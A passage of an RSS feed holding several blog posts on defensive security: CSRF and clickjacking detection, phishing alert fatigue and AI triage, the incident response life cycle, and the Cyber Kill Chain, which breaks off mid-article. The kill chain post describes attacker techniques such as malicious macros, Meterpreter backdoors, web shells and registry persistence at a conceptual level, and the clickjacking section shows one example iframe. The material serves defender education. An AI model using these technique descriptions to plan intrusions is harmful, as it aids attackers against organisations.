request.</em></blockquote><blockquote><em>- Missing or Suspicious Referrer Header</em></blockquote><blockquote><em>- Missing CSRF Token which is a secret, random value that is tied to the user session and proves the request really came from the user, not an attacker. So, if the CSRF token is missing then the request will be suspicious. The attacker won’t be able to steal the CSRF token because of the Same-Origin Policy (SOP) which is a browser policy that prevents a website from accessing data from another website outside the origin (</em><strong><em>protocol + domain + port</em></strong><em>). So, of the referrer header is missing or is different (which indicates an attack attempt) the attacker won’t be able to see the CSRF token.</em></blockquote><blockquote><em>- Same Action Repeated Across Users (ex., multiple same POST requests).</em></blockquote><blockquote><em>- Abnormal Timing Patterns: Actions triggered immediately after page load, or no prior navigation flow which suggests automated or hidden request. Ex., Password change without visiting settings page or no GET request to form a webpage only requests.</em></blockquote><blockquote><strong><em>Network-based detection</em></strong><em>: Using IDSs and Wireshark and Looking for:</em></blockquote><blockquote><em>- Cross-Origin Requests: An outside domain trying to connect with the origin domain.</em></blockquote><blockquote><em>- Suspicious Referrer: Unknown domains</em></blockquote><blockquote><em>- Missing CSRF Token in Request.</em></blockquote><blockquote><em>- Automatic Browser Requests without a user interaction.</em></blockquote><blockquote><em>- Identical Requests from Multiple Users</em></blockquote><blockquote><strong><em>WAF detection</em></strong><em>: Applying strong WAF rules is very effective facing CSRF attacks in order to do the following:</em></blockquote><blockquote><em>- CSRF Token Validation: If the token is missing, the request will be blocked.</em></blockquote><blockquote><em>- Origin / Referrer Validation: If there is a mismatch then block the request.</em></blockquote><blockquote><em>- Method Enforcement: Blocks sensitive actions via </em><em>GETand allows only </em><em>POST/PUT. So, an attacker can’t perform sensitive actions without user interaction.</em></blockquote><blockquote><em>- Session + Request Correlation: Checks if request matches expected user behavior.</em></blockquote><p><strong>Clickjacking</strong>: Attackers overlay (put) invisible elements on top of legitimate content, making users believe they are interacting with something safe.</p><p>The attack process:</p><ul><li>An attacker creates a malicious page.</li><li>Embeds a target website inside an invisible or transparent iframe (an HTML element that lets you embed another webpage or external content inside your current webpage.).</li><li>Aligns the iframe over fake buttons (“Play video”, “Download”).</li><li>When the user clicks, he actually clicks the hidden real target site.</li></ul><p>Clickjacking types:</p><ul><li>Classic clickjacking: Using hidden iframe.</li><li>Likejacking: Tricking users into liking content (social media)</li><li>Cursorjacking: Manipulating cursor position, so the user clicks on something different than his intent.</li><li>File download clickjacking: Tricking the user into clicking something that secretly triggers a file download.</li></ul><p>How to detect Clickjacking attacks:</p><blockquote><strong><em>Log-based detection: </em></strong><em>An analyst can look for:</em></blockquote><blockquote><em>- Suspicious Referrers: Requests coming from unknown or malicious domains.</em></blockquote><blockquote><em>- High Frequency of Sensitive Actions (many clicks) in a short time without normal navigation from the user.</em></blockquote><blockquote><em>- Missing Navigation Flow: Users performing actions without visiting the UI pages first.</em></blockquote><blockquote><strong><em>Network-based detection: </em></strong><em>An analyst can look for:</em></blockquote><blockquote><em>- Embedded iframes: If your site is being loaded inside another domain it is suspicious (tricking the user into doing actions “money transfer” without knowing). Ex.,</em><em>&lt;iframe src=&quot;&lt;https://your-site.com/transfer&gt;&quot;&gt;&lt;/iframe&gt;</em></blockquote><blockquote><em>- Cross-Origin Requests: Requests originating from different domains. So, check for </em><em>Origin header and </em><em>Referer header.</em></blockquote><blockquote><em>- Absence of Security Headers like:</em></blockquote><blockquote><em>1- Content-Security-Policy (CSP): Provides a way for administrators to say what domains or sources are considered safe.</em></blockquote><blockquote><em>2- X-Content-Type-Options: Instructs browsers not to guess the </em><strong><em>MIME</em></strong><em> type (media type) of a resource sent by the server, but only use the </em><strong><em>Content-Type header</em></strong><em>.</em></blockquote><blockquote><em>- Abnormal Click Patterns: Many </em>POST<em> requests triggered without corresponding UI loads (Rapid interactions).</em></blockquote><blockquote><strong><em>WAF detection:</em></strong></blockquote><blockquote><em>- Checking for security headers and block requests without them.</em></blockquote><blockquote><em>- Checking for suspicious/untrusted domains and block/challenge them.</em></blockquote><blockquote><em>- Behavioral Analysis to detect abnormal sequences of requests( suspicious </em>POST<em> actions without proper navigation) or massive amount of requests.</em></blockquote><p>Finally, I hope you find this article useful and stay tuned for the next article: <strong>Detecting Web Attacks: Common Server-Side attacks and How to detect them.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b77459df1527" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Phishing like you haven’t seen before]]></title>
            <link>https://medium.com/@ak877017/phishing-like-you-havent-seen-before-ebc37d675454?source=rss-c95418df8cc5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ebc37d675454</guid>
            <category><![CDATA[defensive-security]]></category>
            <category><![CDATA[phishing-awareness]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ahmad Khaled ]]></dc:creator>
            <pubDate>Fri, 13 Mar 2026 19:46:31 GMT</pubDate>
            <atom:updated>2026-03-13T19:46:31.602Z</atom:updated>
            <content:encoded><![CDATA[<p>The most dangerous phishing campaigns are the ones which are designed to exhaust the analysts investigating them in what is called <strong>Alert Fatigue</strong> that can become an attack surface to be exploited by threat actors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yObv_UA3_rruQkYH1OL5ng.png" /></figure><p>For many years cyber security teams have focused on employee training, email gateways that filter known threats, and reporting programs that encourage users to flag suspicious messages in order to detect phishing attempts without paying attention to what happens after reporting the attempts and how attackers can exploit the investigation process.</p><p>A SOC system is like any other system that has a finite capacity and predictable failure modes and while phishing is usually treated as an independent threat (One message, One potential victim, and One investigation). Attackers think of it as a way to compromise a whole system.</p><p>Consider a phishing campaign where the attacker sends thousands of messages and most of them are crafted to act like a bait that will be caught by Email gateways and trained employees. Here is where the attack actually starts, when the report and alert messages floods the SOC, analysts will start triaging, but they will face a queue of reports that is growing much faster than they can handle. This flood is an effective denial-of-service attack against the SOC system that is also referred as an Informational Denial-of-Service (IDoS).</p><p>Generating thousands of phishing emails costs almost nothing, especially with generative AI that lowers the cost and makes the process way easier. Inside that huge volume of messages are a few carefully crafted spear-phishing messages targeting individuals with access to critical systems, which are the real payload.</p><p>As a result to that huge volume, analysts begin triaging faster, spending less time per submission, so investigation depth and quality decreases. The focus shifts from detailed investigation to clearing the queue and managers may lower the priority of phishing reports relative to alerts from other detection systems, assuming user-submitted reports are lower criticality. So, when analysts receive too many alerts or reports, they start making quick assumptions instead of carefully checking each report.</p><ul><li>If a message looks similar to previous harmless ones, the analyst may assume it is also harmless.</li><li>Because there are many alerts waiting, they spend less time investigating each one.</li><li>As a result, new signs of an attack (Indicators of Compromise “IOCs”) like a true phishing link or a crafted malware file attachment may be missed because they are buried in a large queue of messages.</li></ul><p>The funny thing, yet the most dangerous is increasing the awareness level of the organization’s employees which means more reports. More reports means more queue pressure. More queue pressure means less attention per investigation. So, the very success of security awareness training has expanded the attack surface that adversaries exploit.</p><p>The problem here isn’t in email analysis but it is a “decision precision” problem. Decision-ready investigation systems is the solution at these cases. Instead of presenting analysts with raw indicators and expecting them to draw a conclusion under time pressure, the system combines information from multiple resources (logs, alerts, traffic &amp; threat intelligence), deliver a final evaluation with clear reasoning. The analyst’s role shifts from doing the investigation to reviewing the investigation which will be more effective under volume.</p><p>Most SOC systems apply automated responses as a solution. These responses may be like:</p><ul><li><strong>Auto-closing reports from whitelisted senders: </strong>So, if a report or message comes from a trusted sender (whitelisted), the system automatically closes the report without sending it to analysts for investigation to reduce unnecessary alerts.</li><li><strong>Deduplicating identical submissions: </strong>Which means if many users report the same thing, the system keeps only one report and removes the duplicates to prevent analysts from reviewing the same issue many times and reduce alert overload.</li><li><strong>Applying reputation check: </strong>To filter domains and allow the safe ones.</li></ul><p>These measures fail against this specific type of phishing. As rule-based filters create predictable blind spots that can be compromised by an attacker:</p><ul><li>If an attacker knows that the SOC automation system auto-closes reports from domains with established reputation, they can compromise or spoof those domains.</li><li>If deduplication logic groups messages by subject line or sender, an attacker can make small adjustments to these fields while maintaining the same malicious payload, forcing the system to create individual ticket to each mail instead of grouping them into one ticket to reduce the alert fatigue.</li></ul><p>There is another problem which is a trust problem against <strong>black-box automation</strong> <strong>systems </strong>(which close cases without reviewing the reasons and verdicts). This forces the analysts to re-investigate already handled cases, so the automation advantage evaporates.</p><p>Finally, static rules can’t adapt against the dynamic behavior of the attackers, which forces the SOC system to continuously refine these rules trying to cope with the adversary behavior, which is another headache.</p><p>The emerging approach to face adversarial phishing defense comes in <strong>agentic AI architectures</strong> which consist of specialized analytical agents. Each one of them handles a different part of the phishing investigation process simultaneously.</p><ul><li>One agent verifies sender’s authenticity. Checking the SPF, DKIM, and DMARC records, analyzing domain registration history, and checking whether the sending server/domain really belongs to the claimed identity (organization).</li><li>Another one examines the message itself. Analyzing linguistic patterns which can be tone inconsistencies and social engineering indicators that suggest manipulation rather than legitimate communication.</li><li>A third agent correlates the report with endpoint telemetry, determining whether the recipient’s device has exhibited any behavioral anomalies that might indicate a payload has already executed.</li></ul><p>These agents produce a clear chain of evidence showing which indicators were evaluated, what was found, and how those findings contributed to the final assessment whether the message is benign or malicious. Also, when signals conflict, it explains the ambiguity and escalates with full context.</p><p>The new <strong>agentic AI defensive</strong> approach dramatically reduces the investigation duration in case of big sophisticated phishing campaigns. Normally manual investigation for such campaigns would normally take between 3 to 12 hours, this time is reduced to 5-minute investigation with <strong>decision-ready AI triage</strong> enabled.</p><p>This gap is not only an efficiency metric. It also directly affects the security posture. Imagine what an attacker can do in 12 hours, a compromised credential can be used for lateral movement, privilege escalation, and data staging (data storage in a hidden place inside the network before exfiltrating it). On the other hand, in five minutes, the same credential gets reset before the attacker establishes persistence. The same phishing email management process produces radically different consequences depending entirely on how fast the investigating organization reaches a confident decision.</p><p>the AI agents gives every mail in the queue the same detailed analysis regardless the queue depth. This system is the opposite to the human analysts, it doesn’t fatigue. As a result, the skilled human analysts shift from reactive queue processing to the work that requires human judgment, investigating confirmed incidents, hunting for threats that haven’t triggered alerts, and making strategic decisions about defensive posture.</p><p>The metrics that are used to assess the quality of the defensive AI system:</p><ul><li><strong>Investigation quality consistency under load:</strong> This checks whether the quality of investigations stays the same even when the number of reports increases.</li><li><strong>Decision latency:</strong> This measures how long it takes to move from receiving an alert to making a decision. The gap between 12 hours and 5 minutes isn’t necessarily an incremental improvement, it’s just a categorical change in the attackers opportunities.</li><li><strong>Escalation accuracy at volume:</strong> When the queue is overloaded, it must still send the correct cases to human analysts. Rising false negative rates during high-volume periods indicate exactly the vulnerability attackers target.</li><li><strong>Decision transparency rate:</strong> What is the percentage of automated verdicts that include complete, clear reasoning and explanation?</li><li><strong>Proactiveness.</strong> This measures how early threats are detected before they cause damage.</li></ul><p>To conclude the previous lines, The attackers make a specific assumption, that increasing phishing volume leads to degrading the defensive quality which they try to compromise. If that assumption works, the strategy is highly effective and its execution is easy and nearly free. If it doesn’t (the investigation quality and speed remain constant regardless of volume) the entire assumption collapses.</p><p>The AI detection system provides the same analytical quality to each email in the phishing campaign within the same 5-minute window, so the phishing flood no longer provides cover to the carefully crafted, highly targeted spear-phishing emails.</p><p>So, the phishing report button stays. Employees keep reporting. But the investigation engine behind that button no longer offers attackers the attack surface they wish for.</p><p>Thanks….</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ebc37d675454" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Incident Response Life Cycle]]></title>
            <link>https://medium.com/@ak877017/incident-response-life-cycle-ae4fbfd7fa47?source=rss-c95418df8cc5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae4fbfd7fa47</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ahmad Khaled ]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 19:11:11 GMT</pubDate>
            <atom:updated>2026-02-20T19:11:11.966Z</atom:updated>
            <content:encoded><![CDATA[<p>In the world of Cyber Security an <strong>Incident</strong> is any event that has a negative impact on the security posture of an organization and <strong>Incident Handling</strong> is the well-defined course of actions that is taken when a security incident happens.</p><p>Incidents isn’t just about outside intrusions, but they also can come from malicious insiders or availability issues. So, the <strong>Incident Handler’s</strong> duties are detecting, preventing, responding to such malicious attempts, to be fully aware of the attacker’s Techniques, Tactics and Procedures (TTPs), and fully understand all the stages of the Cyber Kill chain of an attack.</p><p>Organizations like NIST and SANS established their own <strong>Incident Response Framework </strong>which is systematic approach that guides to an effective incident response, in order to facilitate the IR process and make each step clearer for the <strong>Incident Handlers</strong>.</p><p>NIST IR Framework:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/0*FmYhs_dvCliutwmm" /></figure><p>SANS IR Framework:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/0*J4bi87j4iyjnbrHu" /></figure><p>Below each step of the NIST IR framework will be discussed in detail.</p><p><strong>Phase One (Preparation):</strong></p><p>The same in NIST and SANS frameworks.</p><p>The Preparation phase consists of the following:</p><p>1- People / Employees: A well-trained, skilled response team in addition to security-aware employees.</p><p>2- Policies &amp; Procedures (Documentation):</p><ul><li>Policies are the organization’s rules that determines normal events, so that we can define and detect the abnormal ones.</li><li>Procedures are the actions taken in order to respond to an incident. The procedures for each incident are often presented in a playbook.</li></ul><p>3- Tools / Technology (Defensive measures): The tools and technologies that will be used in the incident response process: AV / IDS / IPS / EDR / SIEM / DLP / etc.</p><p>The preparation phase requires collaboration from multiple teams: Incident Handlers, Forensics Analysts, Malware Analysts, even Legal and PR teams. The preparation phase also requires that Incident Handlers have unrestricted and On-demand access to systems.</p><p>The preparation phase is where the Minimum time to respond to incidents is determined and is where a SPOC (Single Point Of Contact), which is a designated communication channel in case of an incident, implied.</p><p>Finally, the preparation phase defines effective capabilities (guidelines and templates) for reporting and documentation.</p><p><strong>Phase two (Detection &amp; Analysis):</strong></p><p>Equivalent to the Identification step in SANS framework.</p><p>Its main processes:</p><ul><li>The <strong>Incident Responder</strong> uses different means of detection: IPS, FW, Agents, Logs, well trained persons, etc.</li><li>Safeguard Information and knowledge sharing among the security teams (End-to-End encrypted channels and their alternatives are provided).</li><li>Context-aware Threat Intelligence is provided.</li><li>This phase requires the Incident Responder to have visibility to the network, in addition to having a good understanding for the segmentation of the organization’s architecture.</li><li>During this phase, a primary incident handler is assigned to each escalated incident using the ticketing software/by the team manager.</li><li>Categorizing the network, so the <strong>Incident responder</strong> can categorize the logs of the events to see whether they are:</li></ul><blockquote><em>- Network perimeter logs: Responsible for detection at the network level. The logs coming from network devices like FW, IPS, IDS, switches, etc. can assist with such activities. Tools like wireshark (a network traffic analyzer “packet sniffer” that captures the packets of the network traffic and helps you to analyze them) can also be a great help.</em></blockquote><blockquote><em>- Host perimeter (network interaction with the host): Analyzing the network traffic from or to a specific host. We check for the FW and the IDS. </em>Note:<em> In the a SOC environment you are given a list of process that if you found they are usually suspicious.</em></blockquote><blockquote><em>- Host level (Processes, files, memory, users on the host): Detect and respond to the malicious activities that happen on a specific endpoint. We usually check and use the AV and the EDR.</em></blockquote><blockquote><em>- Application level: Check for the activities that are done by a specific application. We can do this by analyzing the logs of these applications to know the exact behavior of this application</em></blockquote><ul><li>Finally, establishing a baseline, which is determining all the normal traffic and activities inside your system, so you can catch the deviations (abnormal activities).</li></ul><p><strong>Before proceeding in the containment phase, you have to do some declarations:</strong></p><p>Identify if the threat actor is an insider or not.</p><p>Isolate the area under investigation.</p><p>Use incident casualty forums (Documents that an incident responder fill with details about the infected hosts).</p><p>Incident classification to determine:</p><ul><li>The incident type:</li></ul><blockquote><em>- Malware infections: Malicious program that can damage a system, network, or an application. Malwares have a lot of types and each type has its unique potential damage. Malware infections are mostly caused by files (texts, documents, executables, etc.).</em></blockquote><blockquote><em>- Security breaches: Unauthorized person gets access to confidential data.</em></blockquote><blockquote><em>- Data leaks: Confidential data of an individual or an organization is exposed to unauthorized entities. Data leaks can happen unintentionally unlike security breaches.</em></blockquote><blockquote>- <em>Insider attacks: Incidents that come from inside of an organization. They are more dangerous than outsider attacks as insiders have more information and more access to resources than an outsider.</em></blockquote><blockquote><em>- Denial of Service Attack (DoS): It makes a target service unavailable to the users.</em></blockquote><ul><li>The impact level:</li></ul><blockquote><em>Based on the criticality of the impacted systems. If the affected system is critical, the short-term containment is preferred. If the affected system isn’t critical, the long-term containment is preferred.</em></blockquote><ul><li>The extent:</li></ul><blockquote><em>- What are the consequences of the intrusion (sensitive data leakage, the compromise has spread to other hosts, etc.).</em></blockquote><blockquote><em>- Establishment of a communication between the incident responder and the management sector of the affected department (this is usually done through a ticketing system).</em></blockquote><blockquote><em>- Once you know that there is a threat actor, act normally in order not to let the intruder know that you your operations.</em></blockquote><p><strong>Phase Three (Containment, Eradication, Recovery):</strong></p><p>This phase is equivalent to the Containment, Eradication, Recovery phases in SANS framework.</p><p><strong>Containment:</strong> Preventing an incident from getting worse/Preventing the attack from getting any deeper.</p><p>Containment types:</p><p>1- Short-term containment: Stopping the intrusion as fast as possible and making the attack ineffective without altering the machine’s hard drive (for forensic activities).</p><p>Some short-term containment processes:</p><ul><li>Disable the network connectivity.</li><li>Place the infected machine in an isolated VLAN.</li><li>Change the DNS IP.</li></ul><p>2- System-back-up: Saving the evaded system in order to reserve attack evidences.</p><p>When you are conducting investigations and analysis, you use the copied image not the real system. This can be done through <strong>Data acquisition.</strong></p><p>What happens during Data acquisition?</p><ul><li>Original image verification (a copy of the hard disk in its current status).</li><li>A Hash is calculated to this image for integrity.</li><li>Make other copies for investigation and analysis.</li><li>Backups are arranged based on the volatility of the storage media (the more volatile, the first to be backed-up).</li></ul><blockquote><em>- Registers (Where CPU current processing data and commands are stores). “volatile”</em></blockquote><blockquote><em>- CPU cache (Stores frequently used data to avoid accessing RAM). “volatile”</em></blockquote><blockquote><em>- RAM ( Stores running programs, active processes, open files). “volatile”</em></blockquote><blockquote><em>- HDD/SDD: The physical disk storage (Stores the OS, Files, Installed applications, Logs). “non-volatile”, but sometimes Hard disk can store volatile data due to the insufficient memory storage in a process called Paging.</em></blockquote><blockquote><em>- External &amp; Secondary storage devices. “non-volatile”</em></blockquote><p>Types of Data acquisition:</p><ul><li>Static Acquisition: Copying / backing up data from non-volatile storage devices (data that won’t be affected by system restart).</li><li>Dynamic/Live Acquisition: Copying / backing up data from volatile storage devices (data that would be heavily altered or even lost upon system restart), this process is done while the system is still powered on and without doing any prior actions.</li><li>Dead Acquisition: Collecting evidence from a system after it has been powered off in order not to conduct the back-up while a malware is running, so you also back-up the running malware (ex. A system containing a rootkit).</li></ul><p>Data acquisition approaches:</p><ul><li>Imaging: Copying all the contents of the disk drive (Full disk contents, Deleted files, Unallocated space, Slack space) to an image file “forensic image” (.dd — .raw)</li><li>Cloning: Copying a disk drive into another disk drive.</li></ul><p>Data acquisition tools:</p><ul><li>Write blockers: Block the wanna be copied hard disk from being edited and take an image from it. It can be either hardware or software.</li></ul><p>3- Long-term containment: Make sure that the intruder can’t attack the system again through contacting with the ISP to provide you with the needed logs in case of DDOS or phishing campaigns due to their greater visibility.</p><p><strong>NOTE: </strong>If you still don’t know the Cyber Kill Chain of an attack or the TTPs of the attacker, you better not contact with the infected machine, keep monitoring it, and contact the business unit manager in order to discuss the next move whether you will either:</p><ul><li>Take the infected system down and start the Eradication process where you will eliminate the attackers actions and artifacts</li><li>Isolate the infected data or machine while it still on before doing Eradication.</li><li>Keep the system on and do the Long-term containment activities which are:</li></ul><blockquote><em>- System patching.</em></blockquote><blockquote><em>- (H)IDS implementation.</em></blockquote><blockquote><em>- Passwords and login credentials change.</em></blockquote><blockquote><em>- Fine tuning FW’s and router’s rules.</em></blockquote><blockquote><em>- Drop the packets from or to the attacker.</em></blockquote><p><strong>Eradication:</strong> Understanding the root cause of the attack, the attack vectors and the TTPs, so you can remove the attack artifacts from your system.</p><p>During Eradication you have to identify the root causes and the indicators of the incident, so you can:</p><ul><li>Remove the malware.</li><li>Analyze the logs, so you can know how the attacker gained the initial access (SSH, RDP, VPN, etc.)</li></ul><p>Also, during the Eradication process you have to to isolate the intrusion and identify the attack vectors and then:</p><ul><li>Conduct system patching.</li><li>Passwords and login credentials change.</li><li>Fine tuning FW’s and router’s rules.</li></ul><p><strong>Recovery:</strong> Restore the system to its latest healthy condition (usually using the backup) and bringing the affected systems back into production.</p><p>Recovery types:</p><ul><li>System Recovery: Make the system technically safe again. This can be done through:</li></ul><blockquote><em>- Cleaning infected systems (Format the hard disk).</em></blockquote><blockquote><em>- Reinstalling OS (if needed).</em></blockquote><blockquote><em>- Removing malware.</em></blockquote><blockquote><em>- Patching vulnerabilities.</em></blockquote><blockquote><em>- Reconfiguring security controls.</em></blockquote><ul><li>Restore of operations: Bringing business services back online for Business continuity. This can be done through:</li></ul><blockquote><em>- Restoring data from backups.</em></blockquote><blockquote><em>- Restarting applications.</em></blockquote><blockquote><em>- Ensuring users can work again.</em></blockquote><ul><li>Monitoring: Ensure the attacker does not come back again to the restored system. This can be done through:</li></ul><blockquote><em>- Monitoring logs closely.</em></blockquote><blockquote><em>- Watch for reinfection (the attacker gained access again through unpatched vulnerability or misconfiguration).</em></blockquote><blockquote><em>- Check for attacker persistence (New admin account, scheduled tasks, Executables that run over start-up or login).</em></blockquote><blockquote><em>- Track unusual network activity.</em></blockquote><blockquote><em>- Validate system stability.</em></blockquote><p><strong>Post-incident activity:</strong></p><p>This phase is equivalent to the Lesson Learned phase in SANS framework.</p><p>This phase includes:</p><ul><li>Reporting and documenting the identified system weaknesses, the identified gaps &amp; blind spots in our system, and the root causes of the security incident in order to improve the overall security posture of the organization and to prevent the same or even more sophisticated attacks in the future.</li><li>Conduct a meeting with the involved parties (System administrators, Security team, Business unit representatives, etc.) in order to discuss theses reports.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae4fbfd7fa47" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyber Defense Frameworks: Cyber Kill Chain]]></title>
            <link>https://medium.com/@ak877017/cyber-defense-frameworks-cyber-kill-chain-8f467b5fba35?source=rss-c95418df8cc5------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f467b5fba35</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cybersecurity-framework]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <dc:creator><![CDATA[Ahmad Khaled ]]></dc:creator>
            <pubDate>Mon, 26 Jan 2026 19:21:57 GMT</pubDate>
            <atom:updated>2026-02-16T19:47:11.559Z</atom:updated>
            <content:encoded><![CDATA[<p>The <strong>Cyber Kill Chain</strong> is a cybersecurity framework that describes the <strong>stages of a cyber attack</strong> from the attackers’ initial planning to the achievement of their final objectives. It provides a structured way to understand how adversaries operate by breaking their attacks into sequential phases.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*JdVGBbCzwtPha0Mi" /></figure><p>This Framework splits any attack into 7 main phases. Each phase demonstrates an action or series of actions taken by the adversary to achieve his goal. Each phase will be illustrated below.</p><p><strong>Phase 1: Reconnaissance</strong></p><p>The research and planning phase of an attack against a system or victim. Adversaries use this phase to gather information about their target to prepare for their next steps. This information can include infrastructure details, employee data, business processes, and exposed technologies.</p><p>A valuable source for recon. is <strong>OSINT</strong> (Open-Source Intelligence). With OSINT, adversaries gather publicly available information about their target. Some public sources where OSINT data can be collected from can be:</p><ul><li>Search engines.</li><li>Print and online media.</li><li>Social media accounts.</li><li>Online forums and blogs.</li><li>Online public record databases.</li><li>WHOIS and technical data.</li></ul><p>Reconnaissance types:</p><ul><li><strong>Passive Recon:</strong> No direct interaction with the target. This may include WHOIS lookups, social media scraping (automated collection of publicly available data from social media platforms using scripts, bots, or tools), or reviewing breach data (the process of examining information from past or current data breaches to understand what was exposed, how it happened, and the potential risks).</li><li><strong>Active Recon:</strong> This involves direct contact with the target with activities such as social engineering, port scanning, or probing for open services (examining which network ports and services are accessible from the network).</li><li><strong>Email harvesting:</strong> The process of obtaining email addresses from public, paid, or free services in order to construct an arsenal of emails that will be used for phishing attack (to steal sensitive data like including login credentials and credit card numbers).</li></ul><p>Tools that are used for reconnaissance:</p><ul><li><a href="https://github.com/laramies/theHarvester">theHarvester</a>: This tool is also capable of gathering names, subdomains, IPs, and URLs using multiple public data sources in addition to gathering emails.</li><li><a href="https://hunter.io/">Hunter.io</a>: Lets you obtain contact information associated with the domain.</li><li><a href="https://osintframework.com/">OSINT Framework</a>: OSINT Framework provides the collection of OSINT tools.</li><li>FOCA: A reconnaissance and metadata-analysis tool. It focuses on discovering valuable information from publicly available documents (PDFs, Word documents, and spreadsheets) belonging to a target organization’s domain.</li></ul><p><strong>Phase 2: Weaponization</strong></p><p>This is the process of turning the raw information into actionable attack tools. This can be by crafting malware and exploits by a payload.</p><p>Most attackers usually use automated tools to generate the malware or go to the Darkweb to purchase a malware.</p><p>More sophisticated/experienced actors or nation-sponsored APT (Advanced Persistent Threat) Groups would write their custom malware to make the malware unique and evade detection on the target.</p><p>Some common terms related to the Weaponization phase:</p><ul><li>Malware: A program or software that is designed to damage, disrupt, or gain unauthorized access to a computer.</li><li>Exploits: Programs or code that take advantage of the vulnerability or flaw in the application or system.</li><li>Payload: A malicious code that the attacker runs on the system.</li></ul><p>In the Weaponization phase an attacker can adopt the following tactics:</p><ul><li>Create an infected Microsoft Office document containing a malicious macros that use VBA (Visual Basic for Applications) scripts to automate tasks (malicious tasks in the case of an attack).</li><li>Create a malicious payload or a sophisticated worm, implant it on USB drives, and then distribute them in public.</li><li>Set up Command and Control (C2) infrastructure for executing the commands on the victim’s machine or deliver more payloads.</li><li>Infect the victim’s host with a backdoor, which would provide a way to access the computer system, and bypass the security mechanisms.</li></ul><p><strong>Phase 3: Delivery</strong></p><p>Choosing the method for transmitting a payload or a malware onto the target environment.</p><p>Common delivery techniques:</p><ul><li><strong>Phishing email</strong>: A malicious actor could craft a malicious email that would target either a specific person (spear phishing attack) or multiple people in a specific environment. The email could contain a malicious link or an email attachment that would lead to a compromise.</li><li><strong>USB drops attacks</strong>: A social engineering tactic where cybercriminals leave infected USB drives in public areas or sending them to a targeted system pretending to be a gift from a customer with the intent that someone will pick them up and plug them into a computer and once connected, the malicious software on the USB can automatically execute, leading to serious consequences such as:</li><li>1. Malware infection (ransomware, spyware, or keyloggers)</li><li>2. Remote access: the USB mimics a keyboard to run commands.</li><li>3. Data theft or network compromise.</li><li>4. Hardware destruction through devices like “USB Killers” that deliver a high-voltage to fry the motherboard.</li><li><strong>Watering hole attacks</strong>: Target at a specific group of people by compromising the websites they are usually visiting, redirecting them to other malicious websites created by the attacker. This attack may lead the victims to download malware or a malicious application to their computer unintentionally (a malicious pop-up asking to download a fake Browser extension).</li></ul><p><strong>Phase 4: Exploitation</strong></p><p>It is when the attacker’s code executes on the target victim, taking the advantage of a known vulnerability. There are some techniques to gain access:</p><ul><li><strong>Malicious macro execution</strong>: This may have been delivered through a phishing email, that would execute ransomware when the victim opens it.</li><li><strong>Zero-day exploits:</strong> They relay on unknown and unpatched flaws in a system. There is no opportunity to be detected at the beginning.</li><li><strong>Known CVEs:</strong> The attacker can choose to exploit unpatched public vulnerabilities found on the target environment.</li></ul><p>After gaining access to the system, the malicious actor could exploit software, system, or server-based vulnerabilities to escalate privileges or move laterally through the network. Signs of exploitation to look out for include:</p><ul><li>Unexpected process execution.</li><li>Registry changes or new services created.</li><li>Suspicious command-line arguments found in system logs.</li></ul><p><strong>Phase 5: Installation (Persistence)</strong></p><p>As demonstrated before, a backdoor (also known as access point) lets an attacker bypass security measures and hide the access. .</p><p>Once the attacker gets access to the system, he would want to reconnect back to the system if he loses the connection to it, he got detected and got the initial access removed, or if the system is later patched. Then the attacker needs to install a persistent backdoor that will let the attacker access the system he compromised in the past.</p><p>The persistence can be achieved through:</p><ul><li>Installing a <strong>web shell</strong> on the webserver (A web shell is a malicious script written in web development programming languages such as ASP, PHP, or JSP used by an attacker to maintain access to the compromised system). Because of the web shell simplicity and file formatting (.php, .asp, .aspx, .jsp, etc.), they can be difficult to detect and might be classified as benign.</li><li>Installing a backdoor on the victim’s machine. For example, the attacker can use <strong>Meterpreter</strong> to install a backdoor on the victim’s machine. <strong>Meterpreter</strong> is a Metasploit Framework payload that gives an interactive shell from which an attacker can interact with the victim’s machine remotely and execute the malicious code.</li><li>Creating or modifying Windows services. An attacker can create or modify the Windows services to execute the malicious scripts or payloads regularly as a part of the persistence. An attacker can use the tools like <strong>ssc.exe</strong> to Create, Start, Stop, Query, or Delete any Windows Service or Reg to modify service configurations. The attacker can also masquerade the malicious payload by using a service name that is known to be related to the Operating System or legitimate software.</li><li>Boot or Logon Auto-start Execution: Registry Run Keys / Startup Folder persistence. <strong>MITRE ATT&amp;CK Technique (T1547).</strong> This technique ensures a payload automatically runs when a user logs in and has two types:</li><li><strong>1. User-Specific Startup Folder: </strong>Checked only when a specific user logs in and then the malicious payload will run. So, persistence is tied to one account.</li><li><strong>2. System-Wide Startup Folder: </strong>Checked no matter which user logs in then the malicious payload will run which maintains Stronger persistence, but it often requires higher privileges.</li><li>An attacker can also us Timestomping technique: Which is the modification of file time attributes (the modify, access, create, and change times) to hide new files or changes existing files. This is usually done to mimic files that are in the same folder and blend malicious files with legitimate files to avoid detection by the forensic investigators.</li></ul><p><strong>Phase 6: Command and Control (C2/C&amp;C)</strong></p><p>Opening a C2 channel, so the malware can remotely control and manipulate the victim (C&amp;C or C2) Beaconing<strong>.</strong></p><p>The compromised endpoint would communicate with an external server set up and controlled by an attacker to establish a command &amp; control channel. After establishing the connection, the attacker has full control of the victim’s machine.</p><p>The most common C2 channels used by adversaries 